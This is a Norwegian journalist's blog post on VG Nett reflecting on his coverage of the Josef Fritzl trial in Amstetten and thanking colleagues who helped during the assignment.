Aftonbladet.se sin TV-fotograf Erika Sjöling hjalp meg å lage denne standup-en utenfor Ybbsstrasse 40.

Forrige søndag, bare litt under ett år siden jeg kom dit første gang, sto jeg utenfor det massive murhuset i Ybbsstrasse 40 i Amstetten. Den grå, festningsliknende betongbygningen fra 70-tallet er i løpet av det siste året blitt selve kjennetegnet for den menneskelige ondskapen som har utspilt seg i den ellers så koselige småbyen Amstetten.

Det eneste som gjorde at gatescenen ikke var identisk med forrige gang jeg sto utenfor der, var et titalls mobile TV-sendere. Denne gangen var jeg der alene med min svenske kollega Erika fra Aftonbladet, som skulle filme meg snakke til kamera utenfor “skrekkens hus”. Det var fortsatt mørkt i vinduene i Fritzl-huset. Naboene skjulte seg bak skoddene foran sine egne vinduer.

Oppgjøret med Josef Fritzl selv ble tatt i retten denne uken, men har Østerrike tatt et oppgjør med seg selv? Vi overvar en sirkusforestilling, men det dessverre var også alt vi så.

Reuters TV-fotograf greide også å få med meg på live-sendingen.

Reuters TV-fotograf greide også å få med meg på live-sendingen.

Til slutt: Takk til alle som har fulgt oppdraget mitt på Twitter, og til alle som har tatt seg tid til å gi meg innspill og tilbakemeldinger på arbeidet jeg har gjort. Mine kolleger i VGs svenske samarbeidsavis Aftonbladet, samt VGs Berlin-korrespondent, ga meg uvurderlig hjelp underveis. Fabelaktige var også kollegene på desken som tok imot mine bilder, artikler og sitater på telefon, MSN, Twitter og e-post, og fikk det ut til leserne våre. For the records: Kjetil i TV 2 skylder meg en tjeneste etter at han fikk låne mobilladeren min, mens Øistein i Dagbladet.no: Jeg skylder deg en kaffe.

Stian Eisenträger
Journalist i VG Nett
stiane@vg.no

Tips oss hvis dette innlegget er upassende

« Nyere innleggEldre innlegg »

Kategorier

Tips oss hvis denne bloggen er upassende

Denne bloggen blir ikke forhåndsredigert av VG Nett. Bloggens eier står ansvarlig for alt innhold.
Ingenting varer evig og nå er vi dessverre ved veis ende. VGB er lagt ned og vil ikke komme tilbake.
VG Blogg var en tjeneste levert av VG Multimedia AS. Henvendelser rettes til: Magne Antonsen
Ansvarlig redaktør/Administrerende direktør: Torry Pedersen
Redaktør digitalt Espen Egil Hansen. Redaktør avis: Helje Solberg. Politisk redaktør Hanne Skartveit
Digital direktør: Jo Christian Oterhals. Sentralbord VG: 22 00 00 00